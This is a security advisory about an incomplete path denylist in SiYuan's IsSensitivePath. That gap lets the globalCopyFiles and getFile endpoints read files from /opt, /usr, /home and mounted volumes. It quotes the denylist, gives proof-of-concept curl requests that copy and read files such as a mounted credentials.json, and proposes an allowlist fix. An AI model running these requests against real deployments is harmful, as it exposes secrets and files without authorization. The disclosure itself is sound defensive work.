SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home (GHSA-h5vh-m7fg-w5h6 Bypass)

## Summary The `IsSensitivePath()` function in `kernel/util/path.go` uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including `/opt` (application data), `/usr` (local configs/binaries), `/home` (other users), `/mnt` and `/media` (mounted volumes). The `globalCopyFiles` and `importStdMd` endpoints rely on `IsSensitivePath` as their primary defense against reading files outside the workspace. ## Details Current denylist in `kernel/util/path.go:391-405`: ```go prefixes := []string{ "/.", // dotfiles "/etc", // system config "/root", // root home "/var", // variable data "/proc", // process info "/sys", // sysfs "/run", // runtime data "/bin", // binaries "/boot", // boot files "/dev", // devices "/lib", // libraries "/srv", // service data "/tmp", // temp files } ``` **NOT blocked:** - `/opt` — commonly contains application data, databases, credentials. In SiYuan Docker, `/opt/siyuan/` contains the application itself. - `/usr` — contains `/usr/local/etc`, `/usr/local/share`, custom configs - `/home` — other users' home directories (only `~/.ssh` and `~/.config` of the current HomeDir are blocked via separate checks, but other users' homes are accessible) - `/mnt`, `/media` — mounted volumes, network shares, often containing secrets - `/snap` — snap package data - `/sbin`, `/lib64` — system binaries/libraries The `globalCopyFiles` endpoint at `kernel/api/file.go:82` uses `IsSensitivePath` as its sole path validation: ```go if util.IsSensitivePath(absSrc) { // reject continue } // File is copied into workspace — then readable via /api/file/getFile ``` ## PoC ```bash # Read SiYuan's own application files from /opt (Docker deployment) curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \ -H 'Authorization: Token YOUR_API_TOKEN' \ -H 'Content-Type: application/json' \ -d '{"srcs":["/opt/siyuan/kernel/SiYuan-Kernel"],"destDir":"data/assets"}' # Then read the copied file from workspace curl -s 'http://127.0.0.1:6806/api/file/getFile' \ -H 'Authorization: Token YOUR_API_TOKEN' \ -H 'Content-Type: application/json' \ -d '{"path":"data/assets/SiYuan-Kernel"}' # Read files from mounted volumes curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \ -H 'Authorization: Token YOUR_API_TOKEN' \ -H 'Content-Type: application/json' \ -d '{"srcs":["/mnt/secrets/credentials.json"],"destDir":"data/assets"}' ``` ## Impact - Read arbitrary files from `/opt`, `/usr`, `/home`, `/mnt`, `/media` and any other non-denylisted path - In Docker deployments: read application source code, configs, mounted secrets - The denylist approach is fundamentally flawed — any newly added filesystem path is accessible until explicitly blocked ## Recommended Fix Switch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths: ```go func IsSensitivePath(p string) bool { absPath := filepath.Clean(p) // Allowlist: only workspace and configured safe directories if strings.HasPrefix(absPath, WorkspaceDir) { // Block workspace-internal sensitive paths (conf/) if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, "conf")) { return true } return false } // Everything outside workspace is sensitive by default return true } ```